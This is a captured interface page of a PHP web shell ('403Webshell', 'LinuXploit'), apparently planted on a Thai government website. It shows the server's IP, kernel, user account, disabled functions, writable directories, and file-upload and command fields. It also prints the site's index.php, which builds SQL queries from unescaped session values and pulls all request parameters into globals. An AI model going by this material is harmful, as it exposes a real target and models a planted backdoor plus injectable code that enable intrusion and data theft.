403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.6.24
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/samrit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/samrit/index.php
<?php
header('Content-type: text/html; charset=utf-8');
include('connec.php');

//  user ˹ҹҧ Է˹ҹ
if((isset($_SESSION['user_name_']) && $_SESSION['username_']!="") || (isset($_SESSION['password_']) && $_SESSION['password_'])){
		$sqlx="select user,pass from cms_main_user where user='".$_SESSION['username_']."' and pass='".$_SESSION['password_']."'";
		$resultx=mysql_query($sqlx);
		$num = mysql_num_rows($resultx);
		if(($num>0) and ($_SESSION['web_name']!=$name_folder)){
									session_unregister("id_user_admin");
 									session_unregister("name_post");
									session_unregister("name_email");
									session_unregister("username_");
									session_unregister("password_");
									session_unregister("admin_web");
									session_unregister("module_access");
			print "<meta http-equiv=refresh content=0;URL=index.php>";
		}
}
$_SESSION['web_name'] = $name_folder; #  web
include('coremain/function_theme.php');
include('coremain/index.php');

function import_request_variables($g, $prfix) {
  foreach ($_GET as $k => $v) {
    $v_name = $prfix . $k;
    global $$v_name;
    ${$prfix . $k} = trim($v);
  }
  foreach ($_POST as $k => $v) {
    $v_name = $prfix . $k;
    global $$v_name;
    ${$prfix . $k} = trim($v);
  }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit